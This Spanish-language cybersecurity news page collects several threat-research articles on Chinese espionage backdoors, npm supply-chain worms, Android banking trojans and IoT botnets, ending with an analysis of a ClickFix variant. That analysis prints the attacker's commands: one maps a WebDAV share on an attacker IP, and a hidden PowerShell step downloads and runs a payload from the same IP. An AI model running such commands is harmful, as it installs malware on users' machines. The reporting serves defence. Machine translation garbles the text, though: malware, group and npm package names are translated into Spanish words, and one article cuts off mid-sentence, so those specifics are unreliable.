VerdantBamboo implementa la variante BSD de BRICKSTORM en dispositivos Linux – CYBERDEFENSA.MX

Se ha observado que un grupo de ciberespionaje de China-nexus implementa una variante BSD de una puerta trasera conocida llamada BRICKSTORM, así como otras dos familias de malware con nombre en código PLENET (también conocido como GRIMBOLT) y AGENTPSD para apuntar a sistemas Linux.

Volexity ha atribuido la actividad a un grupo de amenazas que rastrea como Verdebambúque según dijo se superpone con grupos de piratería conocidos como Clay Typhoon (Microsoft), UNC5221 (Google) y Warp Panda (CrowdStrike).

La compañía de ciberseguridad dijo que descubrió la intrusión durante un compromiso de respuesta a incidentes en septiembre de 2025, cuando se supo que el adversario había comprometido el sistema Egnyte Storage Sync de una víctima anónima al explotar una falla de escalada de privilegios local para implementar BRICKSTORM. El problema se solucionó en Storage Sync versión 13.13lanzado en marzo de 2026.

«VerdantBamboo había accedido periódicamente al dispositivo a través de direcciones IP asignadas a través de la VPN SSL web de la organización víctima», dijeron los investigadores Damien Cash, Paul Rascagneres, Steven Adair y Tom Lancaster en un informe técnico publicado la semana pasada.

Ciberseguridad

«El actor de amenazas utilizó las capacidades de proxy del malware implementadas en el sistema Storage Sync, junto con credenciales comprometidas, para acceder al entorno Microsoft 365 (M365) de la víctima».

Se evalúa que estos pasos se tomaron para integrarse con el tráfico de red legítimo y evadir las políticas de acceso condicional, y que el compromiso inicial ocurrió al menos 18 meses antes.

Después de la reparación inicial, se dice que VerdantBamboo realizó una devolución, violando la misma organización al usar credenciales administrativas robadas para conectarse al firewall y luego abusar de ese acceso para configurar el acceso VPN SSL web al dispositivo, conectarse a otros sistemas e implementar malware adicional en un dispositivo Synology Network Attached Storage (NAS).

Desde entonces, una investigación más profunda ha descubierto que el actor de la amenaza había comprometido de hecho el proveedor de servicios gestionados (MSP) de la organización víctima, infectando específicamente el firewall pfSense de su MSP con una variante BSD de BRICKSTORM casi al mismo tiempo que también se había violado el sistema Storage Sync de la víctima.

Se cree que la víctima se vio comprometida debido a la violación del MSP por parte del actor de la amenaza. Las dos familias de malware implementadas en el dispositivo NAS a través de SSH son las siguientes:

  • PLENET (también conocido como GRIMBOLT), una puerta trasera multiplataforma desarrollada en .NET Core y una nueva versión de BRICKSTORM compilada utilizando compilación nativa anticipada (AOT). Admite shell interactivo, ejecución remota de comandos, manipulación de archivos y cambio de servidor de comando y control (C2).
  • AGENTPSD, un caparazón inverso basado en Python que probablemente funcione como respaldo en caso de que el implante primario deje de funcionar
Ciberseguridad

Vale la pena señalar que Google informó sobre el uso de PLENET en la naturaleza a principios de febrero en relación con ataques montados por un grupo de amenazas sospechoso del nexo con China denominado UNC6201 que aprovechó una vulnerabilidad en Dell RecoverPoint para máquinas virtuales (CVE-2026-22769, puntuación CVSS: 10.0) como día cero desde mediados de 2024.

«VerdantBamboo es un actor de amenazas altamente sofisticado que busca aprovechar una combinación de técnicas de vida de la tierra y la implementación de malware en sistemas que tradicionalmente no ejecutan o no pueden ejecutar software EDR», dijo Volexity.

«Este actor de amenazas parece tener un buen conocimiento de los dispositivos propietarios, lo que les permite implementar malware con mecanismos de persistencia personalizados. También parecen tener una disciplina de seguridad operativa destinada a aprovechar un número limitado de dominios y direcciones IP por víctima y configurar nombres de implantes personalizados y persistencia por dispositivo».

IronWorm y la nueva variante de Miasma Worm atacan a npm en ataques a la cadena de suministro – CYBERDEFENSA.MX

Múltiples ataques a la cadena de suministro de software han afectado al ecosistema npm, y los actores de amenazas utilizan versiones maliciosas y envenenadas de más de 50 paquetes legítimos para distribuir un ladrón de información basado en Rust y un gusano que se propaga automáticamente, respectivamente.

De acuerdo a JFrogel ladrón de información «elimina todos los secretos que puede encontrar en la máquina de un desarrollador, se esconde detrás de un rootkit del núcleo eBPF y responde a su operador a través de Tor».

El ladrón también utiliza las credenciales robadas como mecanismo de propagación, generando similitudes con el infame gusano Shai-Hulud. El nuevo malware tiene un nombre en clave gusano de hierro por la empresa de seguridad de la cadena de suministro de software. Al publicarse en el registro npm en forma de paquetes troyanizados, este enfoque resulta en un ataque autorreplicante.

La actividad maliciosa se remonta a una cuenta npm comprometida llamada «asteroide«, que se ha descubierto que publica versiones de paquetes que contienen el binario Rust ELF que se ejecuta a través de un gancho de preinstalación.

El malware se dirige a 86 variables de entorno, varios archivos que pueden contener credenciales asociadas con OpenAI Codex, Anthropic, Claude, Google Gemini, Cursor, Amazon Web Services (AWS), Docker, Kubernetes y npm, configuraciones de bóveda y archivos de billetera de criptomonedas Exodus.

Una peculiaridad inusual que vale la pena mencionar aquí es que el ladrón incluye una lógica para que el componente de robo de datos de la billetera omita la billetera del propio actor de la amenaza. Al momento de escribir, el billetera de criptomonedas está vacío y no se han registrado transacciones.

Ciberseguridad

JFrog describió a IronWorm como «un arma de cadena de suministro creada para encontrar secretos, modificar proyectos e inyectar código malicioso para autopropagarse en GitHub». Las confirmaciones maliciosas, que abarcan nueve organizaciones de GitHub, se introdujeron bajo el nombre del autor «claude» («claude@users.noreply.github.com») en un intento de imitar el chatbot de inteligencia artificial (IA) de Anthropic.

«El paquete malicioso npm fue publicado por asteroiddao; asteroiddao corresponde a la organización asteroid-dao GitHub; y ocrybit es miembro de esa organización, así como de organizaciones Arweave relacionadas», explicó la compañía.

«El malware robó las credenciales de ocrybit y las usó para enviar confirmaciones a través de repositorios a los que podía acceder. Esas confirmaciones colocaron malware en otros paquetes, que luego podrían publicarse e infectar al siguiente desarrollador. Y luego desapareció».

Es más, la carga útil maliciosa está equipada para intercambiar los flujos de trabajo de GitHub Actions existentes por uno que sea capaz de recolectar los secretos, escribirlos en un archivo de apariencia inofensiva y cargarlo como un artefacto de compilación, eliminando así la necesidad de un servidor externo de comando y control (C2).

Las capacidades del malware no terminan ahí. En entornos de CI, abusa del flujo de publicación confiable de npm para obtener tokens de corta duración para enviar versiones envenenadas que contienen el malware al registro.

También incorpora una carga útil eBPF que funciona como un rootkit a nivel de kernel para ocultar procesos y frustrar análisis. Sin embargo, en los sistemas donde el bloqueo del kernel está habilitado, los trucos para ocultar procesos fallan y los supuestos procesos y sockets vuelven a ser visibles.

El gusano miasma emerge nuevamente

La revelación surge como Laboratorios Endor y PasoSeguridad arrojar luz sobre una distinta campaña de ataque a la cadena de suministro que ha comprometido 57 paquetes npm en más de 286 versiones maliciosas para servir una nueva variante del gusano Miasma, que previamente infectó 32 paquetes en más de 90 versiones bajo el espacio de nombres npm @redhat-cloud-services en 72 segundos a principios de esta semana.

Algunos de los paquetes afectados se enumeran a continuación:

  • ai-sdk-ollama
  • autotel
  • esperando
  • analizador de efectos
  • complemento-eslint-esperando
  • historias-ejecutables-ciprés
  • http-uploader-dev
  • montado
  • nodo-env-resolver
  • nodo-env-resolver-aws

Los datos robados a través del malware se filtran a una cuenta de GitHub ahora inaccesible «liuende501«, que actuó como un punto de exfiltración. Se almacenaron hasta 236 repositorios en la cuenta. Actualmente no se sabe si GitHub eliminó la cuenta o si el propio actor de la amenaza la eliminó.

«Esta ola utiliza una técnica que llamamos ‘Phantom Gyp’: en lugar de los scripts de ciclo de vida previos o posteriores a la instalación que las herramientas de seguridad normalmente monitorean, el atacante abusa de un archivo vinculante.gyp de 157 bytes para activar la ejecución del código durante la instalación de npm, evitando por completo la mayoría de los controles de seguridad de los scripts de instalación», dijo el investigador de StepSecurity, Sai Likhith.

Como en el caso de Miasmala cadena de ataque está diseñada para descargar e instalar el tiempo de ejecución de Bun JavaScript, usándolo para cargar un recolector de credenciales integral diseñado para extraer secretos de AWS, Google Cloud, Microsoft Azure, HashiCorp Vault, Docker, Kubernetes, GitHub Actions, npm, RubyGems, PyPI, SSH, administradores de contraseñas y asistentes de IA.

«La capacidad más novedosa y preocupante de esta variante es su objetivo en configuraciones de asistente de codificación de IA», dijo la compañía. «El malware inyecta archivos persistentes de puerta trasera en repositorios de proyectos que se ejecutan cada vez que un desarrollador abre el proyecto en su IDE asistido por IA».

Se recomienda a los desarrolladores que hayan instalado una versión afectada que roten las credenciales, desactiven los scripts de instalación y las reconstrucciones nativas de forma predeterminada y se aseguren de que los paquetes estén fijados con hashes de integridad.

Ciberseguridad

En una actualización compartida esta semana, Red Hat reveló que la causa principal detrás del incidente de la cadena de suministro de Miasma fue probablemente una cuenta de GitHub comprometida que se utilizó para enviar confirmaciones no autorizadas a los repositorios de la organización RedHatInsights GitHub.

«La carga útil operaba en Linux, macOS y Windows descargando dinámicamente el tiempo de ejecución de Bun correcto para cada plataforma, aunque los ejecutores de CI/CD de Linux parecían ser el objetivo principal», explicó Microsoft. dicho de la campaña.

«En los sistemas de desarrollo, el malware robó claves Secure Shell (SSH), credenciales de interfaz de línea de comandos (CLI), datos del navegador y de la billetera, mientras que en entornos CI/CD extrajo la memoria del ejecutor de GitHub Actions en busca de secretos, escaló privilegios usando sudo sin contraseña y volvió a publicar paquetes envenenados con niveles de cadena de suministro falsificados para artefactos de software (SLSA) para continuar con la propagación descendente».

Se considera que la carga útil Miasma es un derivado del gusano Shai-Hulud utilizado por EquipoPCP en campañas recientes, introduciendo cambios en gran medida «cosméticos» manteniendo similar la funcionalidad subyacente. A pesar de la superposición en el oficio, la atribución del último conjunto de ataques sigue sin estar clara, dado que TeamPCP ha publicado públicamente el código Shai-Hulud.

Desde entonces, OX Security ha descubierto etapas adicionales en la cadena de ataque de Miasma, incluidas búsquedas de confirmaciones de GitHub que contienen la cadena «firedalazer» (que reemplaza el punto muerto «FIRESCALE» previamente marcado) para recuperar otra carga útil, un archivo JavaScript («index.js») que contiene una versión alternativa del gusano Shai-Hulud, transformando efectivamente la infección en un bucle perpetuo.

En este caso, los datos robados se filtran a repositorios públicos de GitHub, cada uno con la descripción «Miasma: The Spreading Blight» o «Miasma – The Spreading Blight». Es importante señalar aquí que la versión anterior dice «Miasma: The Spreading Blight», que no tiene un espacio entre Miasma y el símbolo «:». Hay actualmente 82 repositorios de este tipo creado en las cuentas de usuario «0tabek16» y «windy629».

«El actor de amenazas puede cambiar dinámicamente las confirmaciones de ‘firedalazer’ en GitHub, haciendo que las nuevas versiones del malware sean más adaptables y más sofisticadas», afirman los investigadores de seguridad Moshe Siman Tov Bustan y Nir Zadok. dicho.

«Esto convierte a GitHub en algo más peligroso que un punto muerto. Es un C2 adaptable, uno que se apoya en una plataforma confiable y ampliamente incluida en la lista blanca, haciendo que la detección a nivel de red sea casi inútil. La mayoría de las herramientas de seguridad no están configuradas para tratar el tráfico de GitHub como sospechoso. El actor de la amenaza lo sabe».

La nueva variante de TrickMo utiliza TON C2 y SOCKS5 para crear pivotes de red de Android – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han señalado una nueva versión del trucomo Troyano bancario de Android que utiliza The Open Network (TON) para comando y control (C2).

Se ha observado que la nueva variante, observada por ThreatFabric entre enero y febrero de 2026, se dirige activamente a usuarios de banca y billeteras de criptomonedas en Francia, Italia y Austria.

«TrickMo se basa en un APK cargado en tiempo de ejecución (dex.module), utilizado también por la variante anterior, pero actualizado con nuevas características que añaden nuevas funcionalidades orientadas a la red, incluyendo reconocimiento, túnel SSH y capacidades de proxy SOCKS5 que permiten que los dispositivos infectados funcionen como pivotes de red programables y nodos de salida de tráfico», la empresa holandesa de seguridad móvil dicho en un informe compartido con The Hacker News.

TrickMo es el nombre asignado a un malware de adquisición de dispositivos (DTO) que ha estado activo desde finales de 2019. Fue señalado por primera vez por CERT-Bund e IBM X-Force, describiendo su capacidad para abusar de los servicios de accesibilidad de Android para secuestrar contraseñas de un solo uso (OTP).

Ciberseguridad

También está equipado con una amplia gama de funciones para realizar phishing para obtener credenciales, registrar pulsaciones de teclas, grabar pantalla, facilitar la transmisión de pantalla en vivo, interceptar mensajes SMS, lo que esencialmente otorga al operador un control remoto completo del dispositivo.

Las últimas versiones, denominadas TrickMo C, se distribuyen a través de sitios web en fase y aplicaciones de cuentagotas, estas últimas sirven como conducto para un APK cargado dinámicamente («dex.module») que se recupera en tiempo de ejecución desde la infraestructura controlada por el atacante. Un cambio notable en la arquitectura implica el uso de la cadena de bloques descentralizada TON para comunicaciones C2 sigilosas.

«TrickMo lleva un proxy TON nativo integrado que el APK del host inicia en un puerto loopback al inicio del proceso», dijo ThreatFabric. «El cliente HTTP del bot está conectado a través de ese proxy, por lo que cada solicitud de comando y control saliente se dirige a un nombre de host .adnl y se resuelve a través de la superposición TON».

Las aplicaciones dropper que contienen el malware se hacen pasar por versiones de TikTok para adultos a través de Facebook, mientras que el malware real se hace pasar por los servicios de Google Play.

  • com.app16330.core20461 o com.app15318.core1173 (Cuentagotas)
  • tío.collop416.wifekin78 o nibong.lida531.butler836 (TrickMo)

Mientras que las iteraciones anteriores de «dex.module» implementaron la funcionalidad de control remoto basada en accesibilidad a través de un canal basado en socket.io, la nueva versión utiliza un subsistema operativo de red que convierte el malware en una herramienta para un punto de apoyo administrado en lugar de un troyano bancario tradicional.

El subsistema admite comandos como curl, dnslookup, ping, telnet y traceroute, lo que le brinda al atacante un «equivalente a un shell remoto para el reconocimiento de la red desde la posición de la red de la víctima, incluida cualquier red interna corporativa o doméstica a la que esté asociado actualmente el dispositivo», según ThreatFabric.

Otra característica importante es un proxy SOCKS5 que convierte el dispositivo comprometido en un nodo de salida de la red que enruta el tráfico malicioso, al tiempo que anula las firmas de detección de fraude basadas en IP en servicios bancarios, de comercio electrónico y de intercambio de criptomonedas.

Ciberseguridad

Además, TrickMo incluye dos funciones inactivas que agrupan el marco de enlace Pine y declaran amplios permisos relacionados con NFC. Pero ninguno de ellos se implementa realmente. Esto probablemente indica que los desarrolladores principales están buscando ampliar las capacidades del troyano en el futuro.

«En lugar de depender del DNS convencional y de la infraestructura pública de Internet, el malware se comunica a través de puntos finales .adnl enrutados a través de un proxy TON local integrado, lo que reduce la eficacia de los esfuerzos tradicionales de desmontaje y bloqueo de red, al tiempo que hace que el tráfico se mezcle con la actividad TON legítima», dijo ThreatFabric.

«Esta última variante también amplía la función operativa de los dispositivos infectados a través de túneles SSH y proxy SOCKS5 autenticado, convirtiendo efectivamente los teléfonos comprometidos en pivotes de red programables y nodos de salida de tráfico cuyas conexiones se originan en el propio entorno de red de la víctima».

La nueva variante LOTUSLITE del Mustang Panda se dirige a los bancos de la India y a los círculos políticos de Corea del Sur – CYBERDEFENSA.MX

Investigadores de ciberseguridad han descubierto una nueva variante de un conocido malware llamado LOTUSLITA que se distribuye a través de un tema relacionado con el sector bancario de la India.

«La puerta trasera se comunica con un servidor dinámico de comando y control basado en DNS a través de HTTPS y admite acceso remoto a shell, operaciones de archivos y administración de sesiones, lo que indica un conjunto de capacidades continuas centradas en el espionaje en lugar de objetivos motivados financieramente», subhajeet Singha y Santiago Pontiroli, investigadores de Acronis. dicho en un análisis.

El uso de LOTUSLITE se observó anteriormente en ataques de phishing dirigidos al gobierno de los EE. UU. y a entidades políticas utilizando señuelos asociados con los acontecimientos geopolíticos entre los EE. UU. y Venezuela. La actividad se atribuyó con un nivel de confianza medio a un grupo de estados-nación chino identificado como Mustang Panda.

La última actividad señalada por Acronis implica la implementación de una versión evolucionada de LOTUSLITE que demuestra «mejoras incrementales» con respecto a su predecesor, lo que indica que sus operadores están manteniendo y refinando activamente el malware.

La desviación de la ola de ataques anterior se relaciona con un pivote geográfico que se centra principalmente en el sector bancario de la India, mientras mantiene el resto del manual operativo prácticamente intacto. El punto de partida del ataque es un archivo HTML compilado (CHM) que incorpora las cargas maliciosas (un ejecutable legítimo y una DLL fraudulenta) junto con una página HTML que contiene una ventana emergente que solicita al usuario que haga clic en «Sí».

Ciberseguridad

Este paso está diseñado para recuperar y ejecutar silenciosamente un malware JavaScript desde un servidor remoto («cosmosmusic[.]com»), cuya responsabilidad principal es extraer y ejecutar el malware contenido dentro del archivo CHM utilizando Carga lateral de DLL. La DLL («dnx.onecore.dll») es una versión actualizada de LOTUSLITE que se comunica con el dominio «editor.gleeze[.]com» para recibir comandos y extraer datos de interés.

Un análisis más detallado de la campaña ha descubierto artefactos similares diseñados para atacar a entidades surcoreanas, específicamente individuos dentro de la comunidad política y diplomática.

«Creemos que el grupo había estado apuntando a ciertas entidades pertenecientes a las comunidades diplomáticas y políticas de Corea del Sur y Estados Unidos, específicamente aquellas involucradas en asuntos de la península de Corea, discusiones políticas de Corea del Norte y diálogos de seguridad del Indo-Pacífico», dijo Acronis.

«Lo que destaca es la ampliación de los objetivos del grupo, desde entidades gubernamentales de EE. UU. con señuelos geopolíticos, hasta el sector bancario de la India a través de implantes integrados con referencias al HDFC Bank y ventanas emergentes disfrazadas de software bancario legítimo, y ahora a círculos políticos de Corea del Sur y EE. UU. a través de la suplantación de una figura prominente en la diplomacia de la península de Corea, entregada a través de cuentas de Gmail falsificadas y puesta en escena de Google Drive».

La variante Nexcorium de Mirai aprovecha CVE-2024-3721 para secuestrar DVR TBK para botnet DDoS – CYBERDEFENSA.MX

Los actores de amenazas están explotando fallas de seguridad en TBK DVR y enrutadores Wi-Fi TP-Link al final de su vida útil (EoL) para implementar variantes de Mirai-botnet en dispositivos comprometidos, según los hallazgos de Fortinet FortiGuard Labs y Palo Alto Networks Unit 42.

Se ha descubierto que el ataque dirigido a dispositivos TBK DVR explota CVE-2024-3721 (Puntuación CVSS: 6,3), una vulnerabilidad de inyección de comandos de gravedad media que afecta a los dispositivos de grabación de vídeo digital TBK DVR-4104 y DVR-4216, para ofrecer una variante de Mirai llamada Nexcorio.

«Los dispositivos IoT son cada vez más objetivos principales para ataques a gran escala debido a su uso generalizado, la falta de parches y, a menudo, configuraciones de seguridad débiles», afirma el investigador de seguridad Vincent Li. dicho. «Los actores de amenazas continúan explotando vulnerabilidades conocidas para obtener acceso inicial e implementar malware que puede persistir, propagarse y causar ataques distribuidos de denegación de servicio (DDoS)».

Ciberseguridad

Esta no es la primera vez que se explota la vulnerabilidad en la naturaleza. Durante el año pasado, el problema de seguridad se aprovechó para implementar una variante de Mirai, así como una botnet distinta y relativamente nueva llamada RondoDox. En septiembre de 2025, CloudSEK también revelado detalles de una botnet de carga como servicio a gran escala que ha estado distribuyendo RondoDoxMirai y Morte se cargan a través de credenciales débiles y fallas antiguas en enrutadores, dispositivos IoT y aplicaciones empresariales.

La actividad de ataque descrita por Fortinet implica la explotación de CVE-2024-3721 para obtener y soltar un script de descarga, que luego lanza la carga útil de la botnet basada en la arquitectura del sistema Linux. Una vez que se ejecuta el malware, muestra un mensaje que dice «nexuscorp ha tomado el control».

«Nexcorium tiene una arquitectura similar a la variante Mirai, incluida la inicialización de la tabla de configuración codificada XOR, el módulo de vigilancia y el módulo de ataque DDoS», dijo el proveedor de seguridad.

El malware también incluye un exploit para CVE-2017-17215 para apuntar a dispositivos Huawei HG532 en la red e incorpora una lista de nombres de usuario y contraseñas codificados para usar en ataques de fuerza bruta dirigidos a los hosts de la víctima al abrir una conexión Telnet.

Si el inicio de sesión Telnet es exitoso, intenta obtener un shell, configurar la persistencia usando crontab y el servicio systemd, y conectarse a un servidor externo para esperar comandos para lanzar ataques DDoS a través de UDP, TCP y SMTP. Una vez que se establece la persistencia en el dispositivo, el malware elimina el binario descargado original para evadir el análisis.

«El malware Nexcorium muestra rasgos típicos de las botnets modernas centradas en IoT, combinando explotación de vulnerabilidades, soporte para múltiples arquitecturas y varios métodos de persistencia para mantener el acceso a largo plazo a los sistemas infectados», dijo Fortinet. «Su uso de exploits conocidos, como CVE-2017-17215, junto con amplias capacidades de fuerza bruta, subraya su adaptabilidad y eficacia para aumentar el alcance de la infección».

El desarrollo viene como Unidad 42. dicho detectó exploraciones y sondas activas y automatizadas que intentaban explotar CVE-2023-33538 (puntuación CVSS: 8,8), una vulnerabilidad de inyección de comandos que afecta a los enrutadores inalámbricos TP-Link de EoL, aunque utiliza un enfoque defectuoso que no resulta en un compromiso exitoso.

Vale la pena señalar que la falla de seguridad se agregó al catálogo de vulnerabilidades explotadas conocidas (KEV) de la Agencia de Seguridad de Infraestructura y Ciberseguridad de EE. UU. (CISA) en junio de 2025. La vulnerabilidad afecta a los siguientes modelos:

  • TL-WR940N v2 y v4
  • TL-WR740N v1 y v2
  • TL-WR841N v8 y v10
Ciberseguridad

«Aunque los ataques en estado salvaje que observamos tenían fallas y fallarían, nuestro análisis confirma que la vulnerabilidad subyacente es real», dijeron los investigadores Asher Davila, Malav Vyas y Chris Navarrete. «La explotación exitosa requiere autenticación en la interfaz web del enrutador».

Los ataques, en este caso, intentan implementar un malware botnet similar a Mirai, cuyo código fuente presenta numerosas referencias a la cadena «Condi». También viene equipado con la capacidad de actualizarse con una versión más nueva y actuar como un servidor web para propagar la infección a otros dispositivos que se conecten a él.

Dado que los dispositivos TP‑Link afectados ya no cuentan con soporte activo, se recomienda a los usuarios reemplazarlos por un modelo más nuevo y asegurarse de que no se utilicen las credenciales predeterminadas.

«En el futuro previsible, el panorama de la seguridad seguirá estando determinado por el riesgo persistente de credenciales predeterminadas en los dispositivos de IoT», dijo la Unidad 42. «Estas credenciales pueden convertir una vulnerabilidad limitada y autenticada en un punto de entrada crítico para determinados atacantes».

La nueva variante del caos apunta a implementaciones en la nube mal configuradas y agrega el proxy SOCKS – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han detectado una nueva variante de malware llamada Caoseso es capaz de atacar implementaciones en la nube mal configuradas, lo que marca una expansión de la infraestructura de destino de la botnet.

«El malware del caos se dirige cada vez más a implementaciones en la nube mal configuradas, expandiéndose más allá de su enfoque tradicional en enrutadores y dispositivos de borde», Darktrace dicho en un nuevo informe.

El caos fue documentado por primera vez por Lumen Black Lotus Labs en septiembre de 2022, y lo describió como un malware multiplataforma capaz de apuntar a entornos Windows y Linux para ejecutar comandos de shell remotos, colocar módulos adicionales, propagarse a otros hosts mediante claves SSH de fuerza bruta, extraer criptomonedas y lanzar ataques distribuidos de denegación de servicio (DDoS) a través de HTTP, TLS, TCP, UDP y WebSocket.

Ciberseguridad

Se considera que el malware es una evolución de otro malware DDoS conocido como Kaiji que ha detectado instancias Docker mal configuradas. Actualmente no se sabe quién está detrás de la operación, pero la presencia de caracteres en idioma chino y el uso de infraestructura con sede en China sugieren que el actor de la amenaza podría ser de origen chino.

Darktrace dijo que identificó la nueva variante dirigida a su red honeypot el mes pasado, una instancia de Hadoop deliberadamente mal configurada que permite la ejecución remota de código en el servicio. En el ataque detectado por la empresa de ciberseguridad, la intrusión comenzó con una solicitud HTTP al despliegue de Hadoop para crear una nueva aplicación.

La aplicación, por su parte, incorporó una secuencia de comandos de shell para recuperar un binario del agente Chaos de un servidor controlado por un atacante («pan.tenire[.]com»), establecer permisos para permitir a todos los usuarios leerlo, modificarlo o ejecutarlo («chmod 777») y luego ejecutar el binario y eliminar el artefacto del disco para minimizar el rastro forense.

Un aspecto interesante del ataque es que el dominio se utilizó anteriormente en relación con una campaña de phishing por correo electrónico llevada a cabo por el grupo chino de cibercrimen Silver Fox para entregar documentos señuelo y malware ValleyRAT. La campaña recibió el nombre en clave. Operation Silk Lure de Seqrite Labs en octubre de 2025.

El binario ELF de 64 bits es una versión reestructurada y actualizada de Chaos que reelabora varias de sus funciones, manteniendo intacta la mayoría de sus funciones principales. Sin embargo, uno de los cambios más significativos se refiere a la eliminación de funciones que permitían propagarse a través de SSH y explotar las vulnerabilidades del enrutador.

En su lugar se encuentra una nueva característica de proxy SOCKS que permite que el sistema comprometido se utilice para transportar tráfico, ocultando así los verdaderos orígenes de la actividad maliciosa y dificultando que los defensores detecten y bloqueen el ataque.

Ciberseguridad

«Además, también se han cambiado varias funciones que anteriormente se creía que eran heredadas de Kaiji, lo que sugiere que los actores de la amenaza reescribieron el malware o lo refactorizaron ampliamente», añadió Darktrace.

La adición de la función de proxy es probablemente una señal de que los actores de amenazas detrás del malware buscan monetizar aún más la botnet más allá de la minería de criptomonedas y el alquiler de DDoS, y mantenerse al día con sus competidores en el mercado del cibercrimen ofreciendo una gama diversa de servicios ilícitos.

«Si bien Chaos no es un malware nuevo, su continua evolución pone de relieve la dedicación de los ciberdelincuentes para expandir sus botnets y mejorar las capacidades a su disposición», concluyó Darktrace. «El reciente cambio en botnets como AISURU y Chaos para incluir servicios proxy como características principales demuestra que la denegación de servicio ya no es el único riesgo que estos botnets representan para las organizaciones y sus equipos de seguridad».

Nueva variante de SparkCat en iOS y aplicaciones de Android roba imágenes de frases de recuperación de Crypto Wallet – CYBERDEFENSA.MX

Investigadores de ciberseguridad descubrieron una nueva versión del malware SparkCat en Apple App Store y Google Play Store, más de un año después de que se descubriera el troyano dirigido a ambos sistemas operativos móviles. Se ha descubierto que el malware se oculta dentro de aplicaciones aparentemente benignas, como mensajería empresarial y servicios de entrega de alimentos, mientras

Investigando una nueva variante de Click-Fix – CYBERDEFENSA.MX

Descargo de responsabilidad: Este informe ha sido elaborado por el Centro de Investigación de Amenazas para mejorar la concienciación sobre la ciberseguridad y apoyar el fortalecimiento de las capacidades de defensa. Se basa en investigaciones y observaciones independientes del panorama de amenazas actual disponibles en el momento de la publicación. El contenido está destinado únicamente a fines informativos y de preparación.

Lea más blogs sobre inteligencia de amenazas e investigación de adversarios: https://atos.net/es/lp/cybershield

Resumen

Los investigadores de Atos identificaron una nueva variante de la popular técnica ClickFix, donde los atacantes convencen al usuario para que ejecute un comando malicioso en su propio dispositivo a través del acceso directo Win + R. En esta variación, se utiliza un comando «net use» para asignar una unidad de red desde un servidor externo, después de lo cual se ejecuta un archivo por lotes «.cmd» alojado en esa unidad. El script descarga un archivo ZIP, lo descomprime y ejecuta la aplicación WorkFlowy legítima con una lógica maliciosa modificada oculta dentro del archivo «.asar». Esto actúa como una baliza C2 y un gotero para la carga útil final del malware.

Figura 1: descripción general de alto nivel del flujo de ataques.

Descripción general del ataque

En esta versión, el vector de ataque inicial es el mismo que en todas las demás, una página web que se hace pasar por un mecanismo captcha – “happyglamper[.]ro». Solicita al usuario que abra la aplicación Ejecutar mediante «Win+R», seguido de «Ctrl+V» y «Enter».

Figura 2: Sitio web de phishing 1
Figura 3: Sitio web de phishing 2

Esto ejecuta el siguiente comando:

“cmd.exe” /c net use Z: https://94.156.170[.]255/webdav /persistent:no && “Z:\update.cmd” & net use Z: /delete

Normalmente, en esta etapa, los atacantes han utilizado PowerShell o mshta para descargar y ejecutar la siguiente etapa del malware. Aquí, en cambio, podemos ver que el «uso de red» se utiliza para asignar y conectarse a una unidad de red de un servidor externo desde el cual se ejecuta un script por lotes. Si bien no son novedosos, estos TTP nunca antes se habían visto en ataques ClickFix. Combinada con las siguientes etapas poco comunes de patrones de infección, esta campaña brinda a los adversarios altas posibilidades de evadir los controles defensivos y permanecer fuera del radar de los defensores.

En este caso, la variante ClickFix observada del flujo de ejecución evitó con éxito la detección de Microsoft Defender para Endpoint. Los equipos de seguridad de Atos pudieron detectarlo solo gracias al servicio interno Threat Hunting, que se centró en el principal aspecto de comportamiento de la técnica ClickFix: la ejecución inicial a través de la clave de registro RunMRU (consulta de caza disponible en la sección Apéndice).

El script de ejecución inicial “update.cmd” se carga desde la unidad asignada y se ejecuta; después de eso, se elimina la unidad asignada. Contenido de “update.cmd”:

start "" /min powershell -WindowStyle Hidden -Command "Invoke-WebRequest 'https://94.156.170[.]255/flowy.zip' -OutFile \"$env:TEMP\dl.zip\";
Expand-Archive \"$env:TEMP\dl.zip\" -DestinationPath \"$env:LOCALAPPDATA\MyApp\" -Force;
Start-Process \"$env:LOCALAPPDATA\MyApp\WorkFlowy.exe\""

Esto genera una instancia de PowerShell que descarga un archivo zip y lo extrae en el directorio “%LOCALAPPDATA%\MyApp\”. Luego ejecuta el binario “WorkFlowy.exe”.

Figura 4: Contenido del archivo flowy.zip

Análisis de flujo de trabajo

El archivo contiene una aplicación de escritorio WorkFlowy (versión 1.4.1050), firmada por el desarrollador “FunRoutine Inc.”, distribuida como un paquete de aplicaciones Electron. Las aplicaciones de Electron se escriben utilizando tecnologías web populares (HTML, CSS y JavaScript) y utilizan archivos «.asar» para empaquetar el código fuente durante el empaquetado de la aplicación. Se hace por varias razones, como mitigar problemas relacionados con nombres de rutas largos en Windows. El código malicioso se inyectó en main.js, el punto de entrada de Node.js de la aplicación, oculto dentro del archivo app.asar.

Perfil Técnico

Propiedad Valor
Aplicación de destino Escritorio WorkFlowy (electrón)
Versión maliciosa 1.4.1050
Archivo malicioso recursos/app.asar → /main.js
dominio C2 cloudflare.report/forever/e/
IP de origen C2 144[.]31[.]165[.]173 (Fráncfort, AS215439 play2go.cloud)
Dominio registrado Enero de 2026, registrante de HK, registrador OnlineNIC
Archivo de identificación de víctima %APPDATA%\id.txt
Director de puesta en escena con cuentagotas %TEMPERATURA%\[unix_timestamp]\

Vector de infección

El archivo malicioso ASAR es un reemplazo directo del legítimo resources/app.asar. El atacante volvió a empaquetar una versión anterior de la aplicación (v1.4 frente a la v4.3 actual) con código inyectado.

Figura 5: Contenido del subdirectorio «recursos»

Código malicioso (gotero/baliza)

Cuando se ejecuta WorkFlowy, busca el archivo app.asar en la ruta relativa codificada en el binario. Luego lee el archivo main.js desde su interior, lo decodifica en una cadena y lo analiza en el motor JavaScript V8 de Google integrado, que lo ejecuta. Los atacantes han reemplazado el main.js legítimo por uno que ellos mismos han creado. En lugar de scripts bien estructurados, han utilizado una estructura en línea muy ofuscada, agregando código malicioso encima del legítimo, asegurando que se ejecute primero y bloqueando la funcionalidad WorkFlowy.

El código malicioso contiene varias funciones críticas:

  1. El malware se ejecuta antes de que se inicie la aplicación legítima: El IIFE inyectado se abre con await f(), el bucle infinito de baliza C2. Debido a que f() nunca se resuelve, todo el código de inicialización legítimo de WorkFlowy que sigue se bloquea permanentemente. El malware se ejecuta con privilegios completos de Node.js inmediatamente después del lanzamiento.
